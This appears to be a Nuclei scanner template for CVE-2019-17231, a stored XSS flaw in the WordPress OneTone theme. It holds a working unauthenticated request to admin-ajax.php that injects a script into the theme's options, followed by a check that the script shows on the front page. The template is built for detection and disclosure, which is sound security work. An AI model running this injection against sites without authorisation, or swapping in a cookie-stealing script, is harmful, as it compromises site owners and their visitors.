Description
includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
id: CVE-2019-17231
info:
name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS
author: daffainfo
severity: medium
description: |
includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
impact: |
Unauthenticated attackers can inject malicious JavaScript that will be stored and executed when users visit the site, potentially stealing cookies, credentials, or performing actions on behalf of all site visitors.
remediation: |
Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.
reference:
- https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
- https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/
- https://nvd.nist.gov/vuln/detail/CVE-2019-17231
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-17231
epss-score: 0.01216
epss-percentile: 0.66777
cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: mageewp
product: onetone
framework: wordpress
publicwww-query: "/wp-content/themes/onetone"
tags: cve,cve2019,wordpress,wp-theme,wp,onetone,xss,intrusive,vkev,vuln
variables:
string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=onetone_options_import&options={"top_bar_info_content":"<script>console.log({{string}})</script>","display_top_bar":"yes"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "Import successful.")'
condition: and
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>console.log({{string}})</script>","top-bar-info")'
condition: and
# digest: 4a0a0047304502206583c223caf6f5ffe0394f2eb6efe70211a8cfb713a85334dd9ce7889e9a2d02022100a6bdbf751d973ef5963915b33a6bf503464d980157ee9b07107b3d109ac5defc:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.